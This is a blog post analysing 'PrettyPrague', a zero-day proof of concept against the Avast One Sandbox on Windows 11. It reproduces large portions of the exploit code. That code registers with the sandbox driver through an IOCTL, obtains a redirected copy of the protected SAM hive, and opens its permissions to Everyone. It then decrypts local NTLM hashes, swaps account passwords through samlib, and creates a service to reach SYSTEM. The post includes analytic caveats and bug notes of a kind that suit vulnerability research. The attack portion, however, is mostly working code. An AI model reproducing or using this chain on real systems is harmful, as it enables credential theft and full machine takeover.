Monday, August 31, 2026

GenDigital AVAST 0day drop analysis (PrettyPrague)

PrettyPrague: SAM disclosure and SYSTEM elevation through Avast One Sandbox

On 30 August 2026 INFINITE NIGHTMARE dropped MSNightmare/PrettyPrague (commit 5e7e168) and we are cooking this blog while it is still hot. A zero-day that politely asks your antivirus to hand over the keys to the kingdom deserves a fresh write-up, not a stale advisory three weeks later.

PrettyPrague registers with Avast's sandbox, requests the protected Windows SAM from inside the sandbox, weakens the directory permissions on the redirected copy, and reads it from outside. The original SAM stays locked. Avast makes another one.

Tested on aswSnx.sys 26.8.1013.0, x64 Windows 11 with the paid Sandbox feature active. A disposable local administrator was present from the start. PrettyPrague disclosed local SAM hashes and completed the chain to SYSTEM.

Prague, Charles Bridge
Enjoy the Silence.

Background

Windows stores local account data in the SAM hive. An ordinary process should not be able to copy the live hive and decrypt its password hashes. Avast Sandbox intercepts file operations through its kernel driver and user-mode hook and redirects them to a sandboxed directory (C:\avast! sandbox). Redirecting an ordinary file is harmless. Redirecting a protected hive is not: the caller gets a readable copy of something Windows would never let it open.

The tested topology:

  • Windows 11 in a user-controlled disposable lab.
  • A local process running in the local Administrators group. Lower-privilege starting tokens were not tested.
  • Avast One with the paid Sandbox feature activated.
  • At least one local SAM account with a non-null NTLM hash. The service-creation stage additionally needs a local administrator.

1. Register the executable

The host process opens \\.\aswSnx, packs its own image path and a file handle into a 0x1028-byte buffer, and sends IOCTL 0x82AC0054. The driver marks the executable as a sandbox participant. Every child it spawns from this point inherits the sandbox context.

HANDLE hsnx = CreateFile(L"\\\\.\\aswSnx", GENERIC_READ, ...);
char buff[0x1028] = { 0 };
buff[0] = 0x1 | 0x20;
wcscpy((wchar_t*)&buff[2074], sbxapp);
memmove(&buff[24], &hsbx, sizeof(hsbx));
DeviceIoControl(hsnx, 0x82AC0054, buff, sizeof(buff), ...);

The registration IOCTL was previously documented by SAFA research.

2. Materialize the sandboxed SAM copy

Avast injects snxhk.dll into the child process. The PoC detects the loaded hook DLL via GetModuleHandle and branches into SandboxedMain, which opens handles to the virtualized config directories and creates a suspended worker thread. That worker has one job, request the protected hive:

DWORD WINAPI Worker(void*)
{
    HANDLE hfile = CreateFile(L"C:\\Windows\\System32\\config\\SAM",
        GENERIC_READ | FILE_WRITE_DATA,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    return ERROR_SUCCESS;
}

The main sandboxed thread watches the virtual config directory, resumes the worker, and suspends it once ReadDirectoryChangesW fires on a security-descriptor change in the virtualized config directory:

DWORD tid = NULL;
HANDLE hthread = CreateThread(NULL, NULL, Worker, NULL,
    CREATE_SUSPENDED, &tid);

OVERLAPPED ovp = { 0 };
ovp.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
bool isresumed = false;
do {
    char buff[0x1000] = { 0 };
    DWORD retbytes = 0;
    ReadDirectoryChangesW(hcfgdir, buff, sizeof(buff), TRUE,
        FILE_NOTIFY_CHANGE_SECURITY, &retbytes, &ovp, NULL);
    if (!isresumed)
    {
        ResumeThread(hthread);
        isresumed = true;
    }
    WaitForSingleObject(ovp.hEvent, INFINITE);
    SuspendThread(hthread);
    break;
} while (1);

It grants inheritable full access to Everyone and applies that DACL to the virtual directory handles:

EXPLICIT_ACCESSW ea = {};
ea.grfAccessPermissions = FILE_ALL_ACCESS;
ea.grfAccessMode = GRANT_ACCESS;
ea.grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT;
ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;
ea.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
ea.Trustee.ptstrName = (LPWSTR)pEveryoneSID;

DWORD dwRes = SetEntriesInAclW(1, &ea, NULL, &pAcl);
if (ERROR_SUCCESS != dwRes) {
    std::wcerr << L"[-] Failed to create ACL. Error: "
                 << dwRes << std::endl;
    return 1;
}

pSD = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH);
if (!pSD) {
    std::wcerr << L"[-] Memory allocation failed for Security Descriptor."
                 << std::endl;
    return 1;
}

if (!InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION)) {
    std::wcerr << L"[-] Failed to initialize security descriptor. Error: "
                 << GetLastError() << std::endl;
    return 1;
}

if (!SetSecurityDescriptorDacl(pSD, TRUE, pAcl, FALSE)) {
    std::wcerr << L"[-] Failed to set security descriptor DACL. Error: "
                 << GetLastError() << std::endl;
    return 1;
}

NTSTATUS status = NtSetSecurityObject(hcfgdir, DACL_SECURITY_INFORMATION, pSD);
status = NtSetSecurityObject(hwindir, DACL_SECURITY_INFORMATION, pSD);
status = NtSetSecurityObject(hsysdir, DACL_SECURITY_INFORMATION, pSD);
printf("NtSetSecurityObject : 0x%0.8X\n", status);

The code overwrites status three times and prints only the third call’s result. What matters is that the SAM becomes readable afterward. These blocks come from SandboxedMain.

The cross-boundary sequence

The full hand-off is easier to follow as a timeline:

PrettyPrague cross-boundary sequence diagram

3. Collect it outside

The parent opens C:\avast! sandbox, sets up ReadDirectoryChangesW to watch for new files, then resumes the sandboxed child. The loop waits for a FILE_ACTION_ADDED notification whose filename ends with SAM:

UNICODE_STRING aswdir = { 0 };
RtlInitUnicodeString(&aswdir, (wchar_t*)L"\\??\\C:\\avast! sandbox");
OBJECT_ATTRIBUTES objattr = { 0 };
InitializeObjectAttributes(&objattr, &aswdir,
    OBJ_CASE_INSENSITIVE, NULL, NULL);
HANDLE haswdir = NULL;
IO_STATUS_BLOCK iostat = { 0 };
res = NtCreateFile(&haswdir, FILE_READ_DATA | SYNCHRONIZE,
    &objattr, &iostat, NULL, NULL, ALL_SHARING,
    FILE_OPEN_IF, FILE_DIRECTORY_FILE, NULL, NULL);
if (res)
{
    printf("Failed to open avast sandboxed directory, error : 0x%0.8X\n", res);
    return 1;
}

OVERLAPPED ovp = { 0 };
ovp.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
bool isresumed = false;
wchar_t sam[] = { L"SAM" };
wchar_t fullsam[MAX_PATH] = { L"\\??\\C:\\avast! sandbox\\" };
do {
    ResetEvent(ovp.hEvent);
    char buff[0x1000] = { 0 };
    DWORD retbytes = 0;
    ReadDirectoryChangesW(haswdir, buff, sizeof(buff), TRUE,
        FILE_NOTIFY_CHANGE_FILE_NAME, &retbytes, &ovp, NULL);
    if (!isresumed)
    {
        NtResumeProcess(pi.hProcess);
        isresumed = true;
    }
    WaitForSingleObject(ovp.hEvent, INFINITE);
    PFILE_NOTIFY_INFORMATION fni = (PFILE_NOTIFY_INFORMATION)buff;
    if (fni->Action != FILE_ACTION_ADDED)
        continue;
    if(fni->FileNameLength > sizeof(sam) - sizeof(wchar_t) &&
        _wcsicmp(&fni->FileName[wcslen(fni->FileName) - 3],sam) == 0)
    {
        wcscat(fullsam, fni->FileName);
        break;
    }
} while (1);

UNICODE_STRING samfinal = { 0 };
RtlInitUnicodeString(&samfinal, fullsam);
OBJECT_ATTRIBUTES samobjattr = { 0 };
InitializeObjectAttributes(&samobjattr, &samfinal,
    OBJ_CASE_INSENSITIVE, NULL, NULL);
iostat = { 0 };
HANDLE hsamfinal = NULL;
res = NtCreateFile(&hsamfinal,
    GENERIC_READ | GENERIC_WRITE | DELETE | SYNCHRONIZE,
    &samobjattr, &iostat, NULL, NULL,
    FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN,
    FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT,
    NULL, NULL);
if (res)
{
    printf("failed to open the SAM database, error : 0x%0.8X\n", res);
    return 1;
}

There is a race: the parent opens the file as soon as it appears, but the sandboxed child may not have finished setting the Everyone DACL yet. The gap between the file-creation notification, path construction, and NtCreateFile is usually enough for the child to finish, but nothing enforces that ordering.

It then opens the redirected file and copies the bytes into a transacted hive. CreateFileTransacted places the copy under the Kernel Transaction Manager (KTM), a Windows kernel feature that groups file operations into atomic units that can be committed or rolled back. RollbackTransaction then undoes it, leaving no file on disk.

HANDLE htransaction = CreateTransaction(NULL, NULL, NULL, NULL,
    NULL, NULL, NULL);
HANDLE hsamhive = CreateFileTransacted(samtr,
    GENERIC_READ | GENERIC_WRITE, NULL, NULL,
    CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,
    NULL, htransaction, NULL, NULL);

DWORD rrbytes = 0;
char* samdata = (char*)malloc(li.QuadPart);
if (!ReadFile(hsamfinal, samdata, li.QuadPart, &rrbytes, NULL))
{
    printf("Failed to read SAM database, error : %d\n", GetLastError());
    return 1;
}
if(!WriteFile(hsamhive,samdata,li.QuadPart,&rrbytes,NULL))
{
    printf("Failed to copy SAM database, error : %d\n", GetLastError());
    return 1;
}

// ... after DoSpawnShellAsAllUsers(hsamhive):
RollbackTransaction(htransaction);

See main.cpp:1777–1879.

4. Decrypt the SAM

DoSpawnShellAsAllUsers opens the copied hive with the offline registry API (OROpenHiveByHandle), extracts the SAM encryption key, and decrypts each local NTLM hash. Decryption takes three layers:

  1. Boot key. Four subkeys under HKLM\SYSTEM\CurrentControlSet\Control\Lsa (JD, Skew1, GBG, Data) are opened with RegOpenKeyEx, and their class strings are read through RegQueryInfoKeyA. Their bytes are permuted through a fixed 16-element index table.
  2. Password encryption key. The SAM’s F value under SAM\Domains\Account contains the encryption-type indicator at offset 0x68. For type 2 (AES), the key is decrypted with AES-128-CBC using the boot key, then verified with SHA-256.
  3. Per-user hash. Each user’s V value stores a relative offset at 0xA8. The encrypted NT hash starts at V + 0xCC + offset. The PoC handles only encryption type 2 (AES): it decrypts with AES-128-CBC using the password encryption key, then applies a final DES layer with two 7-byte keys derived from the user’s RID.
// Boot key permutation (main.cpp:59-60)
const wchar_t* keynames[] = { {L"JD"}, {L"Skew1"}, {L"GBG"}, {L"Data"} };
int indices[] = { 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 };

// RID-based DES key derivation (main.cpp:344-361)
keycontent.data = rid;
char key1[7] = { c, b, a, d, c, b, a };
char key2[7] = { b, a, d, c, b, a, d };
// Each 7-byte key is expanded to 8 DES bytes with parity

The PoC then decrypts each local NTLM value, prints it, and supplies the recovered old hash to the SAM password-change routine:

PwdEnc* samentry = pwdenclist[i];
int realNTLMHashsz = 0;
char* realNTLMHash = (char*)UnprotectNTHash(
    passwordEncryptionKey, passwordEncryptionKeysz,
    samentry->NTHash, samentry->NTHashLenght,
    &realNTLMHashsz, samentry->rid);
char* stringntlm = 0;
char emptyrepresentation[] = "{NULL}";
if (realNTLMHashsz)
{
    stringntlm = (char*)HexToHexString(
        (unsigned char*)realNTLMHash, realNTLMHashsz);
}
else
{
    stringntlm = emptyrepresentation;
}
wchar_t username[UNLEN + 1] = { 0 };
if (samentry->usernamesz <= sizeof(username))
{
    memmove(username, samentry->username, samentry->usernamesz);
}
printf("******************************************\n");
printf("    User : %ws\n    RID : %d\n    NTLM : %s\n",
    username, samentry->rid, stringntlm);

The function skips null hashes, the current username, and WDAGUtilityAccount for subsequent password-change actions, but it prints a non-null hash before those skip checks. A skipped account’s hash may therefore still be disclosed.

5. Change password and log on

For each eligible user, the PoC calls SamiChangePasswordUser from samlib.dll to swap the password. The functions are resolved dynamically at runtime:

char* oldNTLM = (char*)nthash;
char* newNTLM = newNTLMHash ?
    newNTLMHash : CalculateNTLMHash(newpassword);

char oldLm[16] = { 0 };
char newLm[16] = { 0 };
stat = _SamiChangePasswordUser(huser, false,
    (BYTE*)oldLm, (BYTE*)newLm, true,
    (BYTE*)oldNTLM, (BYTE*)newNTLM);

After changing the password to a known value (PRETTY_PRAGUE), it calls LogonUserEx to obtain a token, spawns a process under that identity with CreateProcessWithLogonW, then restores the original NTLM hash by calling SamiChangePasswordUser again with the old and new values swapped. Restoring the password does not make an already-disclosed hash secret again. See ChangeUserPassword and DoSpawnShellAsAllUsers.

6. Turn a local admin hash into SYSTEM

If the recovered account is a local administrator (detected via CheckTokenMembership on the linked elevated token), the PoC takes a longer path. It logs on again with LOGON32_LOGON_BATCH, sets the token integrity to medium (S-1-16-8192), impersonates that token, then creates a temporary Windows service pointing back to itself:

ImpersonateLoggedOnUser(htoken2);
SC_HANDLE hmgr = OpenSCManager(NULL, NULL,
    SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);

wchar_t servicecmd[MAX_PATH] = { 0 };
DWORD currentsesid = 0;
ProcessIdToSessionId(GetCurrentProcessId(), &currentsesid);
wsprintf(servicecmd, L"\"%s\" %d", binpath, currentsesid);

SC_HANDLE hsvc = CreateService(hmgr, wuid2, wuid2, GENERIC_ALL,
    SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START,
    SERVICE_ERROR_IGNORE, servicecmd,
    NULL, NULL, NULL, NULL, NULL);
if (!hsvc)
{
    printf("CreateService Failed with error : %d\n", GetLastError());
}
else {
    printf("    SYSTEMShell : OK.\n");
}

StartService(hsvc, NULL, NULL);
Sleep(100);
DeleteService(hsvc);

SYSTEMShell : OK is printed before StartService is checked, so that line alone proves service creation, not SYSTEM execution. The service binary is PrettyPrague itself, re-launched by SCM as NT AUTHORITY\SYSTEM.

7. SYSTEM re-entry and shell delivery

The service binary is just the PoC itself. Windows starts it, main runs again, IsRunningAsLocalSystem returns true, and LaunchConsoleInSessionId takes over. It connects to the PRETTYPRAGUE pipe and calls GetNamedPipeServerSessionId to obtain the pipe server's session ID, then duplicates its SYSTEM token with SE_TCB_NAME and SE_ASSIGNPRIMARYTOKEN_NAME, stamps the session on it, and picks one of two paths:

  • If snxhk.dll is loaded (still inside the sandbox), it attempts interactive shell delivery through the CMLuaUtil COM moniker. This is not a UAC bypass: the process is already SYSTEM. It constructs Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}, passes it to CoGetObject, and if CMSTPLUA activation succeeds, obtains ICMLuaUtil and calls ShellExec to launch cmd.exe in the user's session. A MasqueradePEB function exists in the source but is never called.
  • If outside the sandbox, it attempts to spawn conhost.exe via CreateProcessAsUser. However, it duplicates the token as TokenImpersonation while CreateProcessAsUser requires a primary token, and ignores the result (main.cpp:1547).

Proof of concept

SYSTEM shell from PrettyPrague with Avast One visible in the background

Exploitability constraints

Several constraints keep the claim narrower than “any user gets SYSTEM”:

  • Paid feature gate. The Avast One Sandbox feature had to be active. With only the x64 core present and ais_cmp_snx=0, the same registration request was denied.
  • Timing assumptions. The sandbox branch relies on security-change notification ordering, thread suspension, redirected file creation, and polling for a non-empty redirected file. In our testing the race won consistently across repeated runs.

Conclusion

Avast's sandbox virtualization turns a denied read on a protected system hive into a readable copy. PrettyPrague exploits this to dump local SAM hashes, change passwords, and escalate to SYSTEM. The exploit only requires the paid Sandbox feature to be active and was confirmed across multiple local accounts. Until Avast patches the virtualization boundary, any process that can register with the sandbox can reach the same outcome.

No comments: